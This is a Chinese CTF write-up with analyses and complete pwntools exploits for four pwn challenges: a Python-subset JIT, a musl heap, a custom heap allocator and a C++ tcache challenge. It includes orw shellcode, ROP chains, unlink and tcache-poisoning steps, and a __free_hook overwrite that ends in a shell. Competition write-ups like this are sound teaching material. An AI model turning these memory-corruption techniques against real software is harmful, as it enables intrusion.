2021年9月

不定期更新,先贴做出来的,部分题目复现出来再更新

0x00 前言

今年依然是第三

2021-09-27T08:29:59.png

0x01 Secure JIT II

分析

一个python语言子集的的JIT,可以生成x64汇编代码,题目给出了一个相对于原工程的diff文件,通过比对发现:题目版本删除了部分代码并在末尾通过mmap开辟一个可执行段,将汇编成二进制的机器码放到里面执行并取出返回值。

需要注意的是,在mmap中执行的时候是从段起始来运行,并不是以某个函数(如main)作为入口执行——这其实会产生一些问题。然而最大的问题还是出现在调用约定的实现上,经过测试,这个编译器并没有检查传入参数和函数声明时的参数是否匹配,且取用参数是通过[rbp+x]的方式取出。这导致了如果我们传入参数的数量小于被调用函数实际声明的参数数量,就会可能发生非预期的内存读写。理论上这可以泄露并修改返回地址。

由于打远程需要发送EOF结束,所以没办法getshell后输指令拿flag,需要准备orw shellcode或者rop。最终我选择了写shellcode。但是由于立即数赋值的时候有长度限制,如果不绕过长度限制则会导致输入的shellcode不连续,增大利用难度,所以在写shellcode的时候用了一些运算来绕过限制。

最后,最关键的问题是,shellcode写到哪。实际上如果我们构造一个三层的调用栈,可以很容易通过参数越界,使得某个参数在取值时正好对应到ret地址的位置。这不仅可以让我们直接读写ret地址本身,更可以利用数组赋值的方式读写ret地址指向的内存。利用这两个写配合起来,就可顺理成章的返回到shellcode头部。

EXP

exp.p64

def test3():
    test2()

def test2():
    test()

def test(a, b, c, d, e, f, g, h, i, j):
    i = i - 9
    i = i + 0x30
    
    tmp = 0x58026a * 0x100 + 0x67
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x616c66 * 0x100 + 0x68
    tmp5 = tmp3 + tmp4
    i[0] = tmp5
    
    tmp = 0x50f99 * 0x100 + 0xf6
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x31e789 * 0x100 + 0x48
    tmp5 = tmp3 + tmp4
    i[1] = tmp5
    
    tmp = 0x89487f * 0x100 + 0xff
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0xffffba * 0x100 + 0x41
    tmp5 = tmp3 + tmp4
    i[2] = tmp5
    
    tmp = 0x995f01 * 0x100 + 0x6a
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x58286a * 0x100 + 0xc6
    tmp5 = tmp3 + tmp4
    i[3] = tmp5
    
    #i[0] = 0x58026a67 616c6668
    #i[1] = 0x50f99f6 31e78948
    #i[2] = 0x89487fff ffffba41
    #i[3] = 0x995f016a 58286ac6
    
    i[4] = 0x50f
    
    return 5
    
def main():
    putc(0xa)

exp.py

from pwn import *
import time

p = remote("118.195.199.18",40404)
#p = remote("127.0.0.1",40404)
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

p.recvuntil(b"`python3 pyast64.py <xxx>`.\n")

with open("./poc2.p64", "r") as f:
    p.send(f.read())
p.shutdown('send')
    
p.interactive()

shellcode 调用的 cat flag

/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

0x02 babaheap

分析

没咋做过musl的东西,后来兴起的风气。其实没啥意思,之前正好做过一些嵌入式库的分析。基本这类库的堆管理实现都类似dlmalloc。总结起来就是没hook,链表种类少,链表检查松散,基本上打好堆数据结构基础就容易推理出利用手段。

参考资料:https://juejin.cn/post/6844903574154002445#heading-4

一边学一边翻源码,思路大概如下:

  1. 程序edit功能有UAF
  2. musl初始堆位于libc的bss段,UAF给chunk的fd指针的最低位字节写0(因为输出时一定会有0截断)使其指向我们申请的别的可控堆块,然后unlink,并在可控堆块中利用view功能读出指针地址即可算出libc基址
  3. 通过unlink的方式往main_arena-8main_arena-0x10上写两个指针(需要指向合法的可写地址)以便后续通过两次unlink拿到位于main_arena位置的堆块(注意alloca会清空分配到的内存,导致arena被破坏,需要视具体情况做一些修复)
  4. 通过double unlink的方式让libc environ中保存的值被拷贝到main_arena中某个header指针的位置(相关的堆数据结构可以看看源码),然后通过上一步得到的位于main_arena的堆块读出栈地址,计算出main_ret
  5. 同样用写两个有效指针到main_ret附近
  6. 同样用双unlink取到包含main_ret的堆块,写ORW的ROP链读flag。注意此时会破坏程序栈上保存的结构体数组指针,到时无法进行后续堆操作,所以拿到这个堆块的时候就要同时写好rop链

调试过程中不算顺利,踩了很多坑,搞到凌晨6点(人困起来效率确实不高奥hhh,加上之前在0VM那题消磨了不少时间

EXP

from pwn import *

#p = process("./babaheap_patch")
p = remote("1.116.236.251", 11124)
elf = ELF("./babaheap")
libc = ELF("./ld-musl-x86_64.so.1")
context.log_level = "debug"
context.arch = "amd64"

def allocate(size:int, content):
    p.sendlineafter(b"Command: ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def update(idx:int, size:int, content):
    p.sendlineafter(b"Command: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Command: ", b"3")
    p.sendlineafter(b"Index: ", str(idx).encode())

def view(idx:int):
    p.sendlineafter(b"Command: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())

# base: 0x0000555555554000
# heap: 0x00007ffff7ffe310
# tele 0x00007ffff7ffe310 100
# arena: 0x00007ffff7ffba40

def exp():
    # leak libc
    allocate(0x10, b"aaaaaaaa") #0
    allocate(0xe0, b"sep") #1 sep leak
    allocate(0x10, b"aaaaaaaa") #2
    allocate(0x10, b"sep") #3 sep
    delete(0)
    delete(2)
    update(0, 1, b"") #  modify next ptr to chunk1
    allocate(0x10, b"xxxxxxxx") #0  write ptr into chunk1
    view(1)
    p.recvuntil(b"Chunk[1]: ")
    p.recv(0xd8)
    leak = u64(p.recv(8))
    libc_base = leak - 0xb0a40
    environ = libc_base + 0xb2f38
    heap_base = libc_base + 0xb3310
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("heap_base:", hex(heap_base))
    print("environ:", hex(environ))
    
    # leak environ
    ## write junk ptr
    allocate(0x30, b"bbbbbbbb") #2
    allocate(0x30, b"sep2") #4
    delete(2)
    #ptr1 = 0x00007ffff7ffba38-0x20
    #ptr2 = 0x00007ffff7ffba38-0x10
    ptr1 = libc_base+0xb0a38-0x20
    ptr2 = libc_base+0xb0a38-0x10
    update(2, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x30, b"xxx") #2
    ## get chunk of arena
    allocate(0x100, b"bbbbbbbb") #5
    allocate(0x50, b"sep2") #6
    delete(5)
    #gdb.attach(p)
    #pause()
    ptr1 = libc_base+0xb0a30-0x10
    ptr2 = libc_base+0xb0b00
    update(5, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0x100, b"yyy") #5
    allocate(0x100, p64(0)*2+p64(0x9000000000)) #7 fix bitmap
    ## get leak envriron
    allocate(0x30, b"ccc") #8
    allocate(0x50, b"sep") #9
    delete(8)
    ptr1 = environ-0x10
    update(8, 0x7, p64(ptr1)[0:6]) 
    allocate(0x30, b"ccc") #8
    allocate(0x30, b"ccc") #10
    view(7)
    ## get stack addr
    p.recvuntil(b"Chunk[7]: ")
    p.recv(0x38)
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    
    # build rop
    pop_rdi_ret = libc_base + 0x15291
    pop_rsi_ret = libc_base + 0x1d829
    pop_rdx_ret = libc_base + 0x2cdda
    libc_open = libc_base + 0x1f920
    libc_read = libc_base + 0x72d10
    libc_write = libc_base + 0x73450
    main_ret = stack_leak - 0x40
    
    ## modify chain header
    ## write junk ptr
    allocate(0x50, b"dddddddd") #11
    allocate(0xf0, b"1") #12
    allocate(0x100, b"sep2") #13
    delete(11)
    ptr1 = main_ret-0x28
    ptr2 = main_ret-0x18
    update(11, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x50, b"xxx") #11
    
    ## rop chain
    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(8)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(heap_base)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_open)
    rop += p64(pop_rdi_ret) + p64(3)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_write)
    
    ## get ret chunk
    delete(12)
    ptr1 = main_ret-0x20
    ptr2 = libc_base+0xb0ae8
    update(12, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0xf0, b"yyy") #12
    allocate(0xf0, rop) #13
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))
    
    #gdb.attach(p, "b *0x0000555555554000+0x1ae2\nc\n")
    
    p.sendline(b"5")
    p.sendline(b"./flag\x00\x00")
    
    p.interactive()

if __name__ == "__main__":
    exp()

ezheap

题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开

手动恢复出来了部分相关结构体:

远程EXP:

from pwn import *
import struct

#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"

BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4

def alloc(a_type:int, size:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"1")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"size>>\n", str(size).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    
def edit(a_type:int, idx:int, ele_idx:int, value):
    p.sendlineafter(b"enter your choice>>\n", b"2")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    p.sendlineafter(b"value>>\n", value)
    
def view(a_type:int, idx:int, ele_idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"3")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())
    p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
    
def delete(a_type:int, idx:int):
    p.sendlineafter(b"enter your choice>>\n", b"4")
    p.sendlineafter(b"which type >>\n", str(a_type).encode())
    p.sendlineafter(b"idx>>\n", str(idx).encode())

# base: 0xf7fc7000
# uint16:    0xf7fc7000+0x4040
# uint8:     0xf7fc7000+0x5040
# uint32:    0xf7fc7000+0x6040
# float:     0xf7fc7000+0x7040

# 0xf7fc7000+0x9060

def exp():
    # leak new_heap_addr
    ## chain
    alloc(UINT32_ARR,  0xff8, 0)
    alloc(UINT32_ARR,  0xff8, 1)
    ## free chain
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    ## show ptr
    alloc(UINT32_ARR,  0xff8, 4) # help chunk
    view(UINT32_ARR, 4, 0)
    p.recvuntil(b"value>>\n")
    leak_addr = int(p.recvuntil(b"\n", drop=True), 10)
    libc_base = (leak_addr & 0xfffff000) + 0x5000
    system = libc_base + libc.symbols["system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one_gadget = libc_base + 0x13563f
    
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    ## padding, no use
    alloc(UINT32_ARR,  0x100, 5)
    
    # leak elf_base
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)
    target_header = libc_base - 0x10000
    pre_leak_addr = target_header + 0x18 # contant elf addr
    fake_chunk_hdr = target_header | (0x4+0x4)
    print("target_header:", hex(target_header))
    print("pre_leak_addr:", hex(pre_leak_addr))
    print("fake_chunk_hdr:", hex(fake_chunk_hdr))

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(pre_leak_addr))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    view(UINT32_ARR, 3, 0)
    p.recvuntil(b"value>>\n")
    elf_leak = int(p.recvuntil(b"\n", drop=True), 10)
    elf_base = elf_leak - 0x9060
    atoll_got = elf_base + elf.got["atoll"]
    ## build help_chunk
    alloc(UINT32_ARR,  0x2000, 6) # help chunk
    uint32_item_5 = elf_base + 0x6054
    help_chunk = libc_base - 0x16000
    print("uint32_item_5:", hex(uint32_item_5))
    print("elf_leak:", hex(elf_leak))
    print("elf_base:", hex(elf_base))
    #gdb.attach(p)
    #pause()
    
    # attack uint32_array
    alloc(UINT32_ARR,  0x4, 0)
    alloc(UINT32_ARR,  0x4, 1)
    delete(UINT32_ARR, 0)
    delete(UINT32_ARR, 1)

    float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(uint32_item_5-4))[0]
    print("float_payload:", float_payload)
    for i in range(0x800):
        edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
    alloc(UINT32_ARR,  0x4, 2)
    alloc(UINT32_ARR,  0x4, 3)
    edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
    print("help_chunk:", hex(help_chunk))
    print("uint32_item_5:", hex(uint32_item_5))
    
    # leak stack && build rop
    envrion = libc_base + libc.symbols["environ"]
    print("envrion:", hex(envrion))
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
    ## leak environ
    view(UINT32_ARR, 5, 0)
    p.recvuntil(b"value>>\n")
    stack_leak = int(p.recvuntil(b"\n", drop=True), 10)
    main_ret = stack_leak - 0xa4
    ## build fake array
    edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
    edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
    edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
    ## write rop
    edit(UINT32_ARR, 5, 0, str(system).encode()) # system
    edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
    edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
    print("main_ret:", hex(main_ret))
    
    p.sendline(b"5") # exit
    p.sendline("cat flag")
    p.interactive()

if __name__ == "__main__":
    exp()

sharing

C++题,祖传盲调手艺不能丢😁,逆向去tm

from pwn import *

#p = process("./sharing", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("124.70.137.88", 30000)
elf = ELF("./sharing")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
context.arch = "amd64"

hint_str = p32(0x2F767991)+p32(0)*3

def add(idx:int, size:int):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Sz: ", str(size).encode())

def send(_from:int, _to:int):
    p.sendlineafter(b"Choice: ", b"2")
    p.sendlineafter(b"From: ", str(_from).encode())
    p.sendlineafter(b"To: ", str(_to).encode())    
    
def show(idx:int):
    p.sendlineafter(b"Choice: ", b"3")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    
def edit(idx:int, content):
    p.sendlineafter(b"Choice: ", b"4")
    p.sendlineafter(b"Idx: ", str(idx).encode())
    p.sendlineafter(b"Content: ", content)
    
def hint(addr:int):
    p.sendlineafter(b"Choice: ", b"57005")
    p.sendlineafter(b"Hint: ", hint_str)
    p.sendlineafter(b"Addr: ", str(addr).encode())

# base: 0x0000555555554000
# 0x0000555555554000+0x207260

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x1ce8\nc\n") #hint
    
    # leak heap
    ## build 0x30 free chain
    add(0, 0x20)
    add(1, 0x20)
    add(0, 0x30)
    add(1, 0x30)
    ## leak value
    add(2, 0x20)
    show(2)
    heap_leak = u64(p.recv(8))
    heap_base = heap_leak - 0x135d0 # maybe diff
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    
    # leak libc
    add(3, 0x410)
    add(4, 0x10)
    add(3, 0x10)
    ## leak value
    add(3, 0x410)
    show(3)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    __free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    
    # uaf attack
    ## build 0x50 free chain (target)
    add(5, 0x40)
    add(6, 0x40)
    add(5, 0x70)
    add(6, 0x70)
    ## sender
    add(7, 0x10)
    edit(7, b"from")
    ## receiver
    add(8, 0x10)
    edit(8, b"to")
    ## modify receiver
    receiver_obj = heap_base + 0x13dd0
    receiver_content_ptr = receiver_obj + 0x18
    dec_times_1 = 0xb0 // 2
    dec_times_2 = (0xe-0xc) // 2
    ### dec the first byte
    for i in range(dec_times_1):
        hint(receiver_content_ptr)
    ### dec the second byte
    for i in range(dec_times_2):
        hint(receiver_content_ptr+1)
    ### modify tcache key
    tcache_key_addr = heap_base + 0x13c58
    hint(tcache_key_addr)
    print("tcache_key_addr:", hex(tcache_key_addr))
    print("receiver_obj:", hex(receiver_obj))
    print("receiver_content_ptr:", hex(receiver_content_ptr))
    ## send && rewrite tcache bin
    send(7, 8)
    add(9, 0x40)
    edit(9, p64(__free_hook))
    ## get free_hook
    add(10, 0x40)
    add(11, 0x40) # free_hook
    edit(11, p64(system))
    print("__free_hook:", hex(__free_hook))
    print("system:", hex(system))
    
    # get shell
    add(12, 0x10)
    edit(12, b"/bin/sh\x00")
    add(12, 0x10) 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()